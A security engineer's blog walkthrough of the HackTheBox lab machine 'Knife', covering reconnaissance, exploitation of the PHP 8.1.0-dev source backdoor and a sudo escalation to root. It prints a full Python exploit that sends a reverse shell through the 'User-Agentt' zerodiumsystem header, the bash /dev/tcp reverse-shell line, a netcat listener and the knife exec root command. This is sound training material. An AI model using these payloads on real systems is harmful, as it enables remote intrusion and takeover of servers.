MHauge | Security Engineer

Go back

HackTheBox: Knife

Knife is a very simple box which demonstrates the use of a backdoor that was implanted in the PHP source code. In this post we walk through the box and briefly examine the vulnerability.

NMAP

As always, we start off with an NMAP scan to check for open ports:

sudo nmap -sC -sV -oA nmaps/knife 10.129.46.5
Starting Nmap 7.80 ( https://nmap.org ) at 2021-08-29 17:58 CEST
Nmap scan report for 10.129.46.5
Host is up (0.040s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.04 seconds

We see that we only have two ports open, 80 and 22. We can check out the OpenSSH Banner to find out which version of Ubuntu the system is running.

https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.2 The following page on launchpad shows that it is running Ubuntu Focal which is relatively recent. It is unlikely that this is what we’re meant to exploit.

As a result we redirect our focus to the webpage. If we open it, we are presented with a landing page for “Emergent Medical Media”. There is minimal content on the page and none of the supposed links actually take us anywhere.

Fingerprinting the application type

First we’ll check if the site is running PHP by navigating to /index.php. Since this redirects us back to the frontpage, we have successfully fingerprinted the application type.

Gobuster

For the sake of reconnaissance, we’ll start a Gobuster scan to look for other files and directories which are more interactable. Since we know it is running PHP we use the flag -x php to append the file extension .php to all entries in the wordlist we provide.

gobuster dir -u http://10.129.46.5 -x php -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -o root-raft-large.gobuster

Unfortunately the box was misbehaving when I was trying to create this writeup. As a result, the results have been omitted, but rest assured they were not relevant for the rest of the box.

LocalStorage and Cookies

I always check the localStorage and cookies of a page to look for sensitive information. Perhaps we can determine what type of session / authentication is being used, or if there are debug flags which can be altered client-side. Unfortunately, in this case there are none. The page does not store any persistent information on the client, not even a PHP-session token.

While not directly useful, it does tell me that there likely isn’t a login form hidden anywhere for the main page.

Checking site headers

It is always useful to check the headers of the page to look for potential fingerprints of applications, or other sensitive information.

curl -I http://10.129.46.5

The resulting headers are as follows:

HTTP/1.1 200 OK
Date: Sun, 29 Aug 2021 16:30:53 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The X-Powered-By header is interesting. Let’s quickly google PHP 8.1.0-dev exploit, to check for low-hanging fruit.

Analyzing the backdoor

We are almost immediately presented with this article: https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py which claims to provide a reverse shell for any site running this version of PHP. Let’s quickly examine the script:

#!/usr/bin/env python3
import os, sys, argparse, requests

request = requests.Session()

def check_target(args):
    response = request.get(args.url)
    for header in response.headers.items():
        if "PHP/8.1.0-dev" in header[1]:
            return True
    return False

def reverse_shell(args):
    payload = 'bash -c "bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1"'
    injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)

def main(): 
    parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp <attacker PORT>")
    parser.add_argument("url", metavar='<target URL>', help="Target URL")
    parser.add_argument("lhost", metavar='<attacker IP>', help="Attacker listening IP",)
    parser.add_argument("lport", metavar='<attacker PORT>', help="Attacker listening port")
    args = parser.parse_args()
    if check_target(args):
        reverse_shell(args)
    else:
        print("Host is not available or vulnerable, aborting...")
        exit
    
if __name__ == "__main__":
    main()

The script first attempts to connect to the target to acquire the headers. If it locates “PHP/8.1.0-dev” in any of the resulting headers, it claims that the machine is vulnerable. It then sends a specially crafted header {"User-Agentt": "zerodiumsystem('{payload}')" to the target.

The payload is constructed using our arguments and resolves to the following:

bash -c "bash -i >& /dev/tcp/10.10.14.103/9001 0>&1"

This is a simple reverse shell which uses a technique known as Redirection to network addresses in order to connect back to our own machine.

Essentially it starts bash on the host we want to attack in a background process. If a connection is made, i.e. it is able to connect back to our netcat listener, any input we provide is going to be executed on the host. The response from the host is then redirected back to our local machine using the previously mentioned redirection technique which allows us to see what is happening. If you would like to read more about these types of shells, I recommend the following article from Stuff Jason Does.

So how does the exploit itself work? A simple typo in a request header shouldn’t be enough to trigger a remote code execution vulnerability on it’s own. As it turns out, it isn’t and the box is referring to a backdoor that was implanted in the actual PHP source code. The PHP team posted an article explaining why they were changing their Git commit workflow, as a result of the implant.

Zerodium advertises itself as “the world’s leading exploit acquisition platform for advanced zero-day research and cybersecurity capabilities”. The CEO of Zerodium, Chaouki Bekrar, claimed in a tweet shortly after that Zerodium had nothing to do with the exploit. This makes perfect sense, because if it were true, Zerodium would only stand to lose from the negative PR it would result in.

Establishing a reverse shell

First, let’s start our netcat listener for the incoming connection using the command nc -lvnp 9001.

Then, we save the file from the repository as revshell_php_8.1.0-dev.py and execute it:

# Usage: python3 revshell_php_8.1.0-dev.py <target_url> <lhost> <lport>
python3 revshell_php_8.1.0-dev.py http://10.129.195.103 10.10.14.101 9001

Response:

nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.101] from (UNKNOWN) [10.129.195.103] 43972
bash: cannot set terminal process group (825): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ 

Upgrade our shell to something a little bit more interactive:

python3 -c "import pty; pty.spawn('/bin/bash')"

The first thing I do whenever I gain access to a new box is to attempt to run the command sudo -l which will list any binaries that we can run as the current user as sudo. Occasionally, these commands will also have the special option NOPASSWD enabled. As you might expect, this means we don’t need to know the password of the current user either in order to run them.

james@knife:/$ sudo -l    
sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

As we can see, the user james is allowed to run /usr/bin/knife as sudo without providing a password. Whenever we come across something like this, we could experiment on our own first, but it is often a good idea to check known sources of information, such as GTFOBins for possible privilege escalation vectors.

From the page:

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo knife exec -E 'exec "/bin/sh"'

If we execute the provided command on the host:

james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
whoami
root

We see that we have gained root access to the box and can now extract the flags from /root/root.txt and /home/james/user.txt. This concludes our writeup of Knife, which was a very simple, but nonetheless interesting box.